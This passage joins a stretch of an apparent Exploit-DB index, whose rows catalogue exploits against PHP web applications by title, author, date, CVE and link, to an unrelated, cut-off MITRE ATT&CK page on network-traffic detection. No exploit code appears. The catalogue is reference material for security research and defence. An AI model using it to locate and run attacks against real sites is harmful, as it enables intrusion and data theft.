Vulnerabilities",2011-02-22,lemlajt,webapps,php,,2011-02-22,2011-02-23,0,,,,,http://www.exploit-db.comdotproject-2.1.5.tar.gz, 17829,exploits/php/webapps/17829.txt,"dotProject 2.1.5 - SQL Injection",2011-09-13,sherl0ck_,webapps,php,,2011-09-13,2011-09-13,0,OSVDB-86024,,,,http://www.exploit-db.comdotproject-2.1.5.tar.gz, 22708,exploits/php/webapps/22708.txt,"dotProject 2.1.6 - Remote File Inclusion",2012-11-14,dun,webapps,php,,2012-11-14,2012-11-14,1,OSVDB-88919;CVE-2006-0755;OSVDB-23213,,,,http://www.exploit-db.comdotproject-2.1.6.tar.gz, 47021,exploits/php/webapps/47021.txt,"dotProject 2.1.9 - SQL Injection",2019-06-24,"Metin Yunus Kandemir",webapps,php,,2019-06-24,2019-06-24,0,CVE-2019-11354,,,,, 38043,exploits/php/webapps/38043.txt,"dotProject 2.1.x - 'index.php' Multiple Cross-Site Scripting Vulnerabilities",2012-11-21,"High-Tech Bridge",webapps,php,,2012-11-21,2015-09-01,1,CVE-2012-5702;OSVDB-87627,,,,,https://www.securityfocus.com/bid/56624/info 38042,exploits/php/webapps/38042.txt,"dotProject 2.1.x - 'index.php' Multiple SQL Injections",2012-11-21,"High-Tech Bridge",webapps,php,,2012-11-21,2015-09-01,1,CVE-2012-5701;OSVDB-87625,,,,,https://www.securityfocus.com/bid/56624/info 1879,exploits/php/webapps/1879.txt,"dotWidget CMS 1.0.6 - 'file_path' Remote File Inclusion",2006-06-05,Aesthetico,webapps,php,,2006-06-04,,1,OSVDB-25983;CVE-2006-2852;OSVDB-25982;OSVDB-25981,,,,, 28042,exploits/php/webapps/28042.txt,"dotWidget for articles 2.0 - '/admin/articles.php' Multiple Remote File Inclusions",2006-06-03,SwEET-DeViL,webapps,php,,2006-06-03,2013-09-03,1,CVE-2006-7052;OSVDB-45274,,,,,https://www.securityfocus.com/bid/18479/info 28041,exploits/php/webapps/28041.txt,"dotWidget for articles 2.0 - '/admin/authors.php' Multiple Remote File Inclusions",2006-06-03,SwEET-DeViL,webapps,php,,2006-06-03,2013-09-03,1,CVE-2006-7052;OSVDB-45270,,,,,https://www.securityfocus.com/bid/18479/info 28045,exploits/php/webapps/28045.txt,"dotWidget for articles 2.0 - '/admin/categories.php' Multiple Remote File Inclusions",2006-06-03,SwEET-DeViL,webapps,php,,2006-06-03,2013-09-03,1,CVE-2006-7052;OSVDB-45272,,,,,https://www.securityfocus.com/bid/18479/info 28046,exploits/php/webapps/28046.txt,"dotWidget for articles 2.0 - '/admin/editconfig.php' Multiple Remote File Inclusions",2006-06-03,SwEET-DeViL,webapps,php,,2006-06-03,2013-09-03,1,CVE-2006-7052;OSVDB-45273,,,,,https://www.securityfocus.com/bid/18479/info 28043,exploits/php/webapps/28043.txt,"dotWidget for articles 2.0 - '/admin/index.php' Multiple Remote File Inclusions",2006-06-03,SwEET-DeViL,webapps,php,,2006-06-03,2013-09-03,1,CVE-2006-7052;OSVDB-45271,,,,,https://www.securityfocus.com/bid/18479/info 28040,exploits/php/webapps/28040.txt,"dotWidget for articles 2.0 - 'showarticle.php?file_path' Remote File Inclusion",2006-06-03,SwEET-DeViL,webapps,php,,2006-06-03,2013-09-03,1,CVE-2006-7052;OSVDB-45269,,,,,https://www.securityfocus.com/bid/18479/info 28039,exploits/php/webapps/28039.txt,"dotWidget for articles 2.0 - 'showcatpicks.php?file_path' Remote File Inclusion",2006-06-03,SwEET-DeViL,webapps,php,,2006-06-03,2013-09-03,1,CVE-2006-7052;OSVDB-45268,,,,,https://www.securityfocus.com/bid/18479/info 25271,exploits/php/webapps/25271.txt,"Double Choco Latte 0.9.3/0.9.4 - 'main.php' Arbitrary PHP Code Execution",2005-03-24,"GulfTech Security",webapps,php,,2005-03-24,2018-01-05,1,"CVE-2005-0887;OSVDB-14954;BID: 12894;GTSA-00062",,,,,http://gulftech.org/advisories/Double%20Choco%20Latte%20Remote%20Code%20Execution/ 45997,exploits/php/webapps/45997.txt,"Double Your Bitcoin Script Automatic - Authentication Bypass",2018-12-14,Veyselxan,webapps,php,,2018-12-14,2018-12-14,0,,,,,, 28016,exploits/php/webapps/28016.txt,"DoubleSpeak 0.1 - Multiple Remote File Inclusions",2006-06-13,R@1D3N,webapps,php,,2006-06-13,2013-09-02,1,CVE-2006-3069;OSVDB-27436,,,,,https://www.securityfocus.com/bid/18401/info 8718,exploits/php/webapps/8718.txt,"douran portal 3.9.0.23 - Multiple Vulnerabilities",2009-05-18,Abysssec,webapps,php,,2009-05-17,,1,OSVDB-54652;OSVDB-54651;OSVDB-54650,,,,, 9491,exploits/php/webapps/9491.txt,"Dow Group - 'new.php' SQL Injection",2009-11-16,ProF.Code,webapps,php,,2009-11-15,,1,,,,,, 6946,exploits/php/webapps/6946.txt,"Downline Goldmine Builder - SQL Injection",2008-11-01,"Hussin X",webapps,php,,2008-10-31,2016-12-30,1,OSVDB-48128;CVE-2008-4178,,,,, 6947,exploits/php/webapps/6947.txt,"Downline Goldmine Category Addon - SQL Injection",2008-11-01,"Hussin X",webapps,php,,2008-10-31,2016-12-30,1,CVE-2008-4178,,,,, 6951,exploits/php/webapps/6951.txt,"Downline Goldmine newdownlinebuilder - SQL Injection",2008-11-02,"Hussin X",webapps,php,,2008-11-01,2016-12-30,1,CVE-2008-4178,,,,, 6950,exploits/php/webapps/6950.txt,"Downline Goldmine paidversion - SQL Injection",2008-11-02,"Hussin X",webapps,php,,2008-11-01,2016-12-30,1,CVE-2008-4178,,,,, 15770,exploits/php/webapps/15770.txt,"Download Center 2.2 - SQL Injection",2010-12-18,"DeadLy DeMon",webapps,php,,2010-12-18,2010-12-18,1,OSVDB-69949;CVE-2010-4842,,,,, 870,exploits/php/webapps/870.txt,"Download Center Lite (DCL) 1.5 - Remote File Inclusion",2005-03-10,"Filip Groszynski",webapps,php,,2005-03-09,,1,OSVDB-14568;CVE-2005-0680,,,,, 31111,exploits/php/webapps/31111.txt,"Download Management 1.00 for PHP-Fusion - Multiple Local File Inclusions",2008-02-05,Psiczn,webapps,php,,2008-02-05,2014-01-21,1,OSVDB-50967,,,,,https://www.securityfocus.com/bid/27618/info 2521,exploits/php/webapps/2521.txt,"Download-Engine 1.4.2 - 'spaw' Remote File Inclusion",2006-10-12,v1per-haCker,webapps,php,,2006-10-11,,1,OSVDB-30797;CVE-2006-5291;CVE-2006-4656,,,,, 2359,exploits/php/webapps/2359.txt,"Downstat 1.8 - 'art' Remote File Inclusion",2006-09-13,SilenZ,webapps,php,,2006-09-12,,1,OSVDB-28780;CVE-2006-4827,,,,, 34232,exploits/php/webapps/34232.txt,"DPScms - 'q' SQL Injection / Cross-Site Scripting",2010-07-01,Ariko-Security,webapps,php,,2010-07-01,2014-08-02,1,,,,,,https://www.securityfocus.com/bid/41273/info 34730,exploits/php/webapps/34730.txt,"DragDropCart - '/assets/js/ddcart.php?sid' Cross-Site Scripting",2009-07-20,Moudi,webapps,php,,2009-07-20,2014-09-22,1,CVE-2009-2587;OSVDB-56065,,,,,https://www.securityfocus.com/bid/43478/info 34731,exploits/php/webapps/34731.txt,"DragDropCart - '/includes/ajax/getstate.php?prefix' Cross-Site Scripting",2009-07-20,Moudi,webapps,php,,2009-07-20,2014-09-22,1,CVE-2009-2587;OSVDB-56066,,,,,https://www.securityfocus.com/bid/43478/info 34732,exploits/php/webapps/34732.txt,"DragDropCart - 'index.php?search' Cross-Site Scripting",2009-07-20,Moudi,webapps,php,,2009-07-20,2014-09-22,1,CVE-2009-2587;OSVDB-56067,,,,,https://www.securityfocus.com/bid/43478/info 34734,exploits/php/webapps/34734.txt,"DragDropCart - 'login.php?redirect' Cross-Site Scripting",2009-07-20,Moudi,webapps,php,,2009-07-20,2014-09-22,1,CVE-2009-2587;OSVDB-56070,,,,,https://www.securityfocus.com/bid/43478/info 34735,exploits/php/webapps/34735.txt,"DragDropCart - 'productdetail.php?product' Cross-Site Scripting",2009-07-20,Moudi,webapps,php,,2009-07-20,2014-09-22,1,CVE-2009-2587;OSVDB-56071,,,,,https://www.securityfocus.com/bid/43478/info 34733,exploits/php/webapps/34733.txt,"DragDropCart - 'search.php?search' Cross-Site Scripting",2009-07-20,Moudi,webapps,php,,2009-07-20,2014-09-22,1,CVE-2009-2587;OSVDB-56069,,,,,https://www.securityfocus.com/bid/43478/info 27264,exploits/php/webapps/27264.txt,"Dragonfly CMS 9.0.6 1 News Module - Multiple Cross-Site Scripting Vulnerabilities",2006-02-22,Lostmon,webapps,php,,2006-02-22,2013-08-02,1,CVE-2006-1033;OSVDB-23409,,,,,https://www.securityfocus.com/bid/16784/info 27263,exploits/php/webapps/27263.txt,"Dragonfly CMS 9.0.6 1 Your_Account Module - Multiple Cross-Site Scripting Vulnerabilities",2006-02-22,Lostmon,webapps,php,,2006-02-22,2013-08-02,1,CVE-2006-1033;OSVDB-23408,,,,,https://www.securityfocus.com/bid/16784/info 27269,exploits/php/webapps/27269.txt,"Dragonfly CMS 9.0.6.1 Coppermine Module - 'album' Cross-Site Scripting",2006-02-22,Lostmon,webapps,php,,2006-02-22,2013-08-02,1,CVE-2006-1033;OSVDB-23414,,,,,https://www.securityfocus.com/bid/16784/info 27268,exploits/php/webapps/27268.txt,"Dragonfly CMS 9.0.6.1 Downloads Module - 'c' Cross-Site Scripting",2006-02-22,Lostmon,webapps,php,,2006-02-22,2013-08-02,1,CVE-2006-1033;OSVDB-23413,,,,,https://www.securityfocus.com/bid/16784/info 27265,exploits/php/webapps/27265.txt,"Dragonfly CMS 9.0.6.1 Stories_Archive Module - Multiple Cross-Site Scripting Vulnerabilities",2006-02-22,Lostmon,webapps,php,,2006-02-22,2013-08-02,1,CVE-2006-1033;OSVDB-23410,,,,,https://www.securityfocus.com/bid/16784/info 27267,exploits/php/webapps/27267.txt,"Dragonfly CMS 9.0.6.1 Surveys Module - Multiple Cross-Site Scripting Vulnerabilities",2006-02-22,Lostmon,webapps,php,,2006-02-22,2013-08-02,1,CVE-2006-1033;OSVDB-23412,,,,,https://www.securityfocus.com/bid/16784/info 27266,exploits/php/webapps/27266.txt,"Dragonfly CMS 9.0.6.1 Web_Links Module - Multiple Cross-Site Scripting Vulnerabilities",2006-02-22,Lostmon,webapps,php,,2006-02-22,2013-08-02,1,CVE-2006-1033;OSVDB-23411,,,,,https://www.securityfocus.com/bid/16784/info 5369,exploits/php/webapps/5369.txt,"Dragoon 0.1 - 'lng' Local File Inclusion",2008-04-04,w0cker,webapps,php,,2008-04-03,2016-11-24,1,OSVDB-44413;CVE-2008-1798,,,,http://www.exploit-db.comPHP.zip, 5393,exploits/php/webapps/5393.txt,"Dragoon 0.1 - 'root' Remote File Inclusion",2008-04-07,RoMaNcYxHaCkEr,webapps,php,,2008-04-06,2016-11-24,1,OSVDB-44384;CVE-2008-1773,,,,http://www.exploit-db.comPHP.zip, 29805,exploits/php/webapps/29805.txt,"Drake CMS 0.3.7 - '404.php' Local File Inclusion",2007-03-30,"HACKERS PAL",webapps,php,,2007-03-30,2016-11-24,1,CVE-2007-1849;OSVDB-37306,,,,http://www.exploit-db.comdrakecms_v0.3.7_beta_rev1982.zip,https://www.securityfocus.com/bid/23215/info 5391,exploits/php/webapps/5391.php,"Drake CMS 0.4.11 - Blind SQL Injection",2008-04-07,EgiX,webapps,php,,2008-04-06,2016-11-24,1,OSVDB-52758;CVE-2008-6475,,,,http://www.exploit-db.comdrakecms_0.4.11_RC8_r5575.zip, 31375,exploits/php/webapps/31375.txt,"Drake CMS 0.4.11 RC8 - 'd_root' Local File Inclusion",2008-03-10,THE_MILLER,webapps,php,,2008-03-10,2016-11-24,1,CVE-2008-1371;OSVDB-43329,,,,http://www.exploit-db.comdrakecms_0.4.11_RC8_r5575.zip,https://www.securityfocus.com/bid/28165/info 2713,exploits/php/webapps/2713.txt,"Drake CMS < 0.2.3 ALPHA rev.916 - Remote File Inclusion",2006-11-04,GregStar,webapps,php,,2006-11-03,2016-09-14,1,OSVDB-31245;CVE-2006-5767,,,,http://www.exploit-db.comdrake-v0.2.2.846a.zip, 39905,exploits/php/webapps/39905.txt,"Drale DBTableViewer 100123 - Blind SQL Injection",2016-06-08,HaHwul,webapps,php,80,2016-06-08,2016-06-08,0,,,,,http://www.exploit-db.comDBTableViewer-master.zip, 30632,exploits/php/webapps/30632.txt,"DRBGuestbook 1.1.13 - 'index.php' Cross-Site Scripting",2007-10-03,Gokhan,webapps,php,,2007-10-03,2014-01-02,1,CVE-2007-5218;OSVDB-37426,,,,,https://www.securityfocus.com/bid/25911/info 38446,exploits/php/webapps/38446.html,"Dream CMS 2.3.0 - Cross-Site Request Forgery (Add Extension) / Arbitrary File Upload / PHP Code Execution",2015-10-11,LiquidWorm,webapps,php,,2015-10-15,2015-10-15,0,,,,,,http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5268.php 39884,exploits/php/webapps/39884.html,"Dream Gallery 1.0 - Cross-Site Request Forgery (Add Admin)",2016-06-06,"Ali Ghanbari",webapps,php,80,2016-06-06,2016-06-06,0,,,,,, 39934,exploits/php/webapps/39934.txt,"Dream Gallery 2.0 - Admin Panel Authentication Bypass",2016-06-13,"Ali BawazeEer",webapps,php,80,2016-06-13,2016-06-13,0,,,,,, 33282,exploits/php/webapps/33282.txt,"Dream Poll 3.1 - '/index.php' Cross-Site Scripting / SQL Injection",2009-10-13,infosecstuff,webapps,php,,2009-10-13,2014-05-09,1,CVE-2009-4745;OSVDB-58848,,,,,https://www.securityfocus.com/bid/36663/info 17125,exploits/php/webapps/17125.txt,"Dream Vision Technologies Web Portal - SQL Injection",2011-04-06,eXeSoul,webapps,php,,2011-04-06,2011-04-06,1,,,,,, 5415,exploits/php/webapps/5415.txt,"Dream4 Koobi 4.4/5.4 - gallery SQL Injection",2008-04-08,S@BUN,webapps,php,,2008-04-07,2016-11-14,1,OSVDB-52091;CVE-2008-6210,,,,, 26988,exploits/php/webapps/26988.txt,"Dream4 Koobi 5.0 - BBCode URL Tag Script Injection",2005-12-28,"kurdish hackers team",webapps,php,,2005-12-28,2016-11-14,1,CVE-2005-4588;OSVDB-22183,,,,,https://www.securityfocus.com/bid/16078/info 25272,exploits/php/webapps/25272.txt,"Dream4 Koobi CMS 4.2.3 - 'index.php' Cross-Site Scripting",2005-03-24,mircia,webapps,php,,2005-03-24,2013-05-07,1,CVE-2005-0889;OSVDB-16845,,,,,https://www.securityfocus.com/bid/12895/info 25273,exploits/php/webapps/25273.txt,"Dream4 Koobi CMS 4.2.3 - 'index.php' SQL Injection",2005-03-24,mircia,webapps,php,,2005-03-24,2013-05-07,1,CVE-2005-0890;OSVDB-14997,,,,,https://www.securityfocus.com/bid/12896/info 25555,exploits/php/webapps/25555.txt,"Dream4 Koobi CMS 4.2.3 - 'index.php?P' SQL Injection",2005-04-27,"CENSORED Search Vulnerabilities",webapps,php,,2005-04-27,2013-05-19,1,CVE-2005-0890;OSVDB-14997,,,,,https://www.securityfocus.com/bid/13412/info 25556,exploits/php/webapps/25556.txt,"Dream4 Koobi CMS 4.2.3 - 'index.php?Q' SQL Injection",2005-04-27,"CENSORED Search Vulnerabilities",webapps,php,,2005-04-27,2013-05-19,1,CVE-2005-0890;OSVDB-14997,,,,,https://www.securityfocus.com/bid/13413/info 5447,exploits/php/webapps/5447.txt,"Dream4 Koobi CMS 4.2.4/4.2.5/4.3.0 - Multiple SQL Injections",2008-04-14,JosS,webapps,php,,2008-04-13,2016-11-14,1,OSVDB-49457;CVE-2008-4778,,,,, 5206,exploits/php/webapps/5206.txt,"Dream4 Koobi CMS 4.3.0 < 4.2.3 - 'categ' SQL Injection",2008-02-29,JosS,webapps,php,,2008-02-28,2016-11-14,1,OSVDB-43515;CVE-2008-1336,,,,, 28219,exploits/php/webapps/28219.txt,"Dream4 Koobi Pro 5.6 - 'showtopic' SQL Injection",2006-07-13,"Evampire chiristof",webapps,php,,2006-07-13,2016-11-14,1,CVE-2006-3621;OSVDB-29364,,,,,https://www.securityfocus.com/bid/18970/info 5198,exploits/php/webapps/5198.txt,"Dream4 Koobi Pro 5.7 - 'categ' SQL Injection",2008-02-28,Cr@zy_King,webapps,php,,2008-02-27,2016-11-14,1,OSVDB-42550;CVE-2008-1122,,,,, 10751,exploits/php/webapps/10751.txt,"Dream4 Koobi Pro 6.1 Gallery - 'img_id' SQL Injection",2009-12-27,BILGE_KAGAN,webapps,php,,2009-12-26,2016-11-14,1,CVE-2008-6210;OSVDB-52091,,,,, 5413,exploits/php/webapps/5413.txt,"Dream4 Koobi Pro 6.25 Gallery - 'galid' SQL Injection",2008-04-08,S@BUN,webapps,php,,2008-04-07,2016-11-14,1,,,,,, 5411,exploits/php/webapps/5411.txt,"Dream4 Koobi Pro 6.25 Links - 'categ' SQL Injection",2008-04-08,S@BUN,webapps,php,,2008-04-07,2016-11-14,1,,,,,, 5448,exploits/php/webapps/5448.txt,"Dream4 Koobi Pro 6.25 Poll - 'poll_id' SQL Injection",2008-04-14,S@BUN,webapps,php,,2008-04-13,2016-11-14,1,OSVDB-44408;CVE-2008-2036,,,,, 5412,exploits/php/webapps/5412.txt,"Dream4 Koobi Pro 6.25 Shop - 'categ' SQL Injection",2008-04-08,S@BUN,webapps,php,,2008-04-07,2016-11-14,1,,,,,, 5414,exploits/php/webapps/5414.txt,"Dream4 Koobi Pro 6.25 Showimages - 'galid' SQL Injection",2008-04-08,S@BUN,webapps,php,,2008-04-07,2016-11-14,1,CVE-2008-4778,,,,, 1954,exploits/php/webapps/1954.pl,"DreamAccount 3.1 - 'auth.api.php' Remote File Inclusion",2006-06-25,CrAsh_oVeR_rIdE,webapps,php,,2006-06-24,,1,OSVDB-27597;CVE-2006-6232,,,,, 1881,exploits/php/webapps/1881.txt,"DreamAccount 3.1 - 'da_path' Remote File Inclusion",2006-06-05,Aesthetico,webapps,php,,2006-06-04,,1,OSVDB-26170;CVE-2006-2881;OSVDB-26169;OSVDB-26168,,,,, 27238,exploits/php/webapps/27238.php,"Dreamcost HostAdmin 3.0 - 'index.php' Remote File Inclusion",2006-02-16,ReZEN,webapps,php,,2006-02-16,2013-07-31,1,CVE-2006-0791;OSVDB-23241,,,,,https://www.securityfocus.com/bid/16682/info 32453,exploits/php/webapps/32453.txt,"Dreamcost HostAdmin 3.1 - 'index.php' Cross-Site Scripting",2008-10-02,Am!r,webapps,php,,2008-10-02,2014-03-23,1,CVE-2008-6164;OSVDB-51842,,,,,https://www.securityfocus.com/bid/31538/info 26814,exploits/php/webapps/26814.txt,"DreamLevels Dream Poll 3.0 - 'View_Results.php' SQL Injection",2005-12-14,r0t3d3Vil,webapps,php,,2005-12-14,2017-10-04,1,CVE-2005-4254;OSVDB-21688,,,,,https://www.securityfocus.com/bid/15849/info 11704,exploits/php/webapps/11704.txt,"dreamlive Auktionshaus script - 'news.php?id' SQL Injection",2010-03-12,"Easy Laster",webapps,php,,2010-03-11,,1,,,,,, 4106,exploits/php/webapps/4106.php,"DreamLog 0.5 - 'upload.php' Arbitrary File Upload",2007-06-25,Dj7xpl,webapps,php,,2007-06-24,2016-10-05,1,OSVDB-45385;CVE-2007-3403,,,,http://www.exploit-db.comdreamlog.zip, 6035,exploits/php/webapps/6035.txt,"DreamNews Manager - 'id' SQL Injection",2008-07-10,"Hussin X",webapps,php,,2008-07-09,2016-12-13,1,OSVDB-46906;CVE-2008-3189,,,,, 9451,exploits/php/webapps/9451.txt,"DreamPics Builder - 'exhibition_id' SQL Injection",2009-08-18,Mr.SQL,webapps,php,,2009-08-17,2016-12-13,1,,,,,, 6034,exploits/php/webapps/6034.txt,"DreamPics Builder - 'page' SQL Injection",2008-07-09,"Hussin X",webapps,php,,2008-07-08,2016-12-13,1,OSVDB-46877;CVE-2008-3119,,,,, 7968,exploits/php/webapps/7968.php,"DreamPics Photo/Video Gallery - Blind SQL Injection",2009-02-03,"Mehmet Ince",webapps,php,,2009-02-02,,1,OSVDB-51741;CVE-2009-0445,,,,, 10006,exploits/php/webapps/10006.txt,"DreamPoll 3.1 - SQL Injection",2009-10-08,"Mark from infosecstuff",webapps,php,,2009-10-07,2017-11-15,1,CVE-2009-4746;CVE-2009-4745;OSVDB-58848;OSVDB-58847,,,,, 38988,exploits/php/webapps/38988.txt,"Dredge School Administration System - '/DSM/Backup/processbackup.php' Database Backup Information Disclosure",2014-01-07,AtT4CKxT3rR0r1ST,webapps,php,,2014-01-07,2015-12-15,1,OSVDB-101872,,,,,https://www.securityfocus.com/bid/64720/info 38986,exploits/php/webapps/38986.txt,"Dredge School Administration System - '/DSM/loader.php' Account Information Disclosure",2014-01-07,AtT4CKxT3rR0r1ST,webapps,php,,2014-01-07,2015-12-15,1,OSVDB-101873,,,,,https://www.securityfocus.com/bid/64720/info 38987,exploits/php/webapps/38987.html,"Dredge School Administration System - '/DSM/loader.php' Cross-Site Request Forgery (Admin Account Manipulation)",2014-01-07,AtT4CKxT3rR0r1ST,webapps,php,,2014-01-07,2015-12-15,1,OSVDB-101869,,,,,https://www.securityfocus.com/bid/64720/info 38985,exploits/php/webapps/38985.txt,"Dredge School Administration System - '/DSM/loader.php?Id' SQL Injection",2014-01-07,AtT4CKxT3rR0r1ST,webapps,php,,2014-01-07,2015-12-15,1,OSVDB-101871,,,,,https://www.securityfocus.com/bid/64720/info 10763,exploits/php/webapps/10763.txt,"Dren's PHP Uploader - Arbitrary File Upload",2009-12-28,"Cyb3r IntRue",webapps,php,,2009-12-27,2011-06-29,0,,,,,, 5949,exploits/php/webapps/5949.txt,"Drinks Complete Website 2.1.0 - 'drinkid' SQL Injection",2008-06-26,InjEctOr5,webapps,php,,2008-06-25,2016-12-09,1,OSVDB-46528;CVE-2008-5169,,,,, 29833,exploits/php/webapps/29833.txt,"DropAFew 0.2 - 'editlogcal.php?save Action calories' SQL Injection",2007-04-10,"Alexander Klink",webapps,php,,2007-04-10,2013-11-26,1,CVE-2007-1363;OSVDB-34923,,,,,https://www.securityfocus.com/bid/23400/info 29831,exploits/php/webapps/29831.txt,"DropAFew 0.2 - 'newaccount2.php' Arbitrary Account Creation",2007-04-10,"Alexander Klink",webapps,php,,2007-04-10,2013-11-26,1,CVE-2007-1364;OSVDB-34926,,,,,https://www.securityfocus.com/bid/23400/info 29832,exploits/php/webapps/29832.txt,"DropAFew 0.2 - 'search.php?delete Action id' SQL Injection",2007-04-10,"Alexander Klink",webapps,php,,2007-04-10,2013-11-26,1,CVE-2007-1363;OSVDB-34921,,,,,https://www.securityfocus.com/bid/23400/info 10682,exploits/php/webapps/10682.txt,"Dros - Remote File Inclusion",2009-12-26,indoushka,webapps,php,,2009-12-25,,0,,,,,, 10575,exploits/php/webapps/10575.txt,"Drumbeat CMS 1.0 - SQL Injection",2009-12-21,Sora,webapps,php,,2009-12-20,,0,,,,,, 9635,exploits/php/webapps/9635.txt,"Drunken:Golem Gaming Portal - 'admin_news_bot.php' Remote File Inclusion",2009-09-10,"EA Ngel",webapps,php,,2009-09-09,,1,OSVDB-61856;CVE-2009-4622,,,,, 3207,exploits/php/webapps/3207.pl,"Drunken:Golem Portal 0.5.1 Alpha 2 - Remote File Inclusion",2007-01-27,MackRulZ,webapps,php,,2007-01-26,2016-09-27,1,OSVDB-36619;CVE-2007-0572,,,,http://www.exploit-db.comdrunkengolem_alpha2.zip, 51723,exploits/php/webapps/51723.txt,"Drupal 10.1.2 - web-cache-poisoning-External-service-interaction",2023-09-08,nu11secur1ty,webapps,php,,2023-09-08,2023-09-08,0,,,,,, 52266,exploits/php/webapps/52266.py,"Drupal 11.x-dev - Full Path Disclosure",2025-04-19,"Milad karimi",webapps,php,,2025-04-19,2025-04-19,0,CVE-2024-45440,,,,, 21863,exploits/php/webapps/21863.txt,"Drupal 4.0 - News Message HTML Injection",2002-09-25,das@hush.com,webapps,php,,2002-09-25,2012-10-09,1,CVE-2002-1806;OSVDB-59300,,,,,https://www.securityfocus.com/bid/5801/info 22940,exploits/php/webapps/22940.txt,"Drupal 4.1/4.2 - Cross-Site Scripting",2003-07-21,"Ferruh Mavituna",webapps,php,,2003-07-21,2012-11-27,1,,,,,,https://www.securityfocus.com/bid/8235/info 1088,exploits/php/webapps/1088.pl,"Drupal 4.5.3 < 4.6.1 - Comments PHP Injection",2005-07-05,dab,webapps,php,,2005-07-04,2016-05-25,1,OSVDB-17647;CVE-2005-2106,,,,http://www.exploit-db.comdrupal-4.5.3.zip, 1821,exploits/php/webapps/1821.php,"Drupal 4.7 - 'Attachment mod_mime' Remote Command Execution",2006-05-24,rgod,webapps,php,,2006-05-23,2017-11-22,1,OSVDB-25909;CVE-2006-2743,,,,, 27020,exploits/php/webapps/27020.txt,"Drupal 4.x - URL-Encoded Input HTML Injection",2006-01-01,liz0,webapps,php,,2006-01-01,2013-07-23,1,,,,,,https://www.securityfocus.com/bid/16117/info 4510,exploits/php/webapps/4510.txt,"Drupal 5.2 - PHP Zend Hash ation Vector",2007-10-10,ShAnKaR,webapps,php,,2007-10-09,2016-10-12,1,OSVDB-43656;CVE-2007-5416,,,,http://www.exploit-db.comdrupal-5.2.tar.gz, 11060,exploits/php/webapps/11060.txt,"Drupal 6.15 - Multiple Persistent Cross-Site Scripting Vulnerabilities",2010-01-07,emgent,webapps,php,80,2010-01-06,,1,,,,,http://www.exploit-db.comdrupal-6.15.tar.gz, 34992,exploits/php/webapps/34992.py,"Drupal 7.0 < 7.31 - 'Drupalgeddon' SQL Injection (Add Admin User)",2014-10-17,"Claudio Viviani",webapps,php,,2014-10-17,2018-03-29,1,CVE-2014-3704;OSVDB-113371;SA-CORE-2014-005,,,,, 44355,exploits/php/webapps/44355.php,"Drupal 7.0 < 7.31 - 'Drupalgeddon' SQL Injection (Admin Session)",2014-11-03,"Stefan Horst",webapps,php,443,2018-03-29,2018-03-29,0,CVE-2014-3704;OSVDB-113371,,,,,https://www.sektioaneins.de/en/blog/14-11-03-drupal-sql-injection-vulnerability-PoC.html 34984,exploits/php/webapps/34984.py,"Drupal 7.0 < 7.31 - 'Drupalgeddon' SQL Injection (PoC) (Reset Password) (1)",2014-10-16,stopstene,webapps,php,,2014-10-17,2018-03-29,1,CVE-2014-3704;SA-CORE-2014-005,,,http://www.exploit-db.com/screenshots/idlt35000/drupal.png,,https://pastebin.com/nDwLFV3v 34993,exploits/php/webapps/34993.php,"Drupal 7.0 < 7.31 - 'Drupalgeddon' SQL Injection (PoC) (Reset Password) (2)",2014-10-17,"Dustin Dörr",webapps,php,,2014-10-17,2018-03-29,1,CVE-2014-3704;OSVDB-113371,,,,, 35150,exploits/php/webapps/35150.php,"Drupal 7.0 < 7.31 - 'Drupalgeddon' SQL Injection (Remote Code
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files_exploits.csv
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Currently viewing ATT&CK v13.1 which was live between April 25, 2023 and October 30, 2023. Learn more about the versioning system or see the live site. DATA SOURCES Enterprise Mobile ICS Active Directory Active Directory Credential Request Active Directory Object Access Active Directory Object Creation Active Directory Object Deletion Active Directory Object Modification Application Log Application Log Content Application Vetting API Calls Network Communication Permissions Requests Protected Configuration Asset Asset Inventory Software Certificate Certificate Registration Cloud Service Cloud Service Disable Cloud Service Enumeration Cloud Service Modification Cloud Storage Cloud Storage Access Cloud Storage Creation Cloud Storage Deletion Cloud Storage Enumeration Cloud Storage Metadata Cloud Storage Modification Command Command Execution Container Container Creation Container Enumeration Container Start Domain Name Active DNS Domain Registration Passive DNS Drive Drive Access Drive Creation Drive Modification Driver Driver Load Driver Metadata File File Access File Creation File Deletion File Metadata File Modification Firewall Firewall Disable Firewall Enumeration Firewall Metadata Firewall Rule Modification Firmware Firmware Modification Group Group Enumeration Group Metadata Group Modification Image Image Creation Image Deletion Image Metadata Image Modification Instance Instance Creation Instance Deletion Instance Enumeration Instance Metadata Instance Modification Instance Start Instance Stop Internet Scan Response Content Response Metadata Kernel Kernel Module Load Logon Session Logon Session Creation Logon Session Metadata Malware Repository Malware Content Malware Metadata Module Module Load Named Pipe Named Pipe Metadata Network Share Network Share Access Network Traffic Network Connection Creation Network Traffic Content Network Traffic Flow Operational Databases Device Alarm Process History/Live Data Process/Event Alarm Persona Social Media Pod Pod Creation Pod Enumeration Pod Modification Process OS API Execution Process Access Process Creation Process Metadata Process Modification Process Termination Scheduled Job Scheduled Job Creation Scheduled Job Metadata Scheduled Job Modification Script Script Execution Sensor Health Host Status Service Service Creation Service Metadata Service Modification Snapshot Snapshot Creation Snapshot Deletion Snapshot Enumeration Snapshot Metadata Snapshot Modification User Account User Account Authentication User Account Creation User Account Deletion User Account Metadata User Account Modification User Interface Permissions Request System Notifications System Settings Volume Volume Creation Volume Deletion Volume Enumeration Volume Metadata Volume Modification Web Credential Web Credential Creation Web Credential Usage Windows Registry Windows Registry Key Access Windows Registry Key Creation Windows Registry Key Deletion Windows Registry Key Modification WMI WMI Creation - Home - Data Sources - Network Traffic Network Traffic Data transmitted across a network (ex: Web, DNS, Mail, File, etc.), that is either summarized (ex: Netflow) and/or captured as raw data in an analyzable format (ex: PCAP) ID: DS ⓘ Platforms: Android, IaaS, Linux, Windows, iOS, macOS ⓘ Collection Layers: Cloud Control Plane, Host, Network Contributors: Center for Threat-Informed Defense (CTID); ExtraHop Version: 1. Created: 20 October Last Modified: 20 April Version Permalink Live Version Data Components This data source does not have any techniques in the selected domain(s) Network Traffic: Network Connection Creation Initial construction of a network connection, such as capturing socket information with a source/destination IP and port(s) (ex: Windows EID 5156, Sysmon EID 3, or Zeek conn.log) Network Traffic: Network Connection Creation Initial construction of a network connection, such as capturing socket information with a source/destination IP and port(s) (ex: Windows EID 5156, Sysmon EID 3, or Zeek conn.log) Domain ID Name Detects Mobile T Adversary-in-the-Middle Enterprise T Automated Exfiltration Monitor for newly constructed network connections associated with processes performing collection activity, especially those involving abnormal/untrusted hosts. . Traffic Duplication Monitor for newly constructed network connections that are sent or 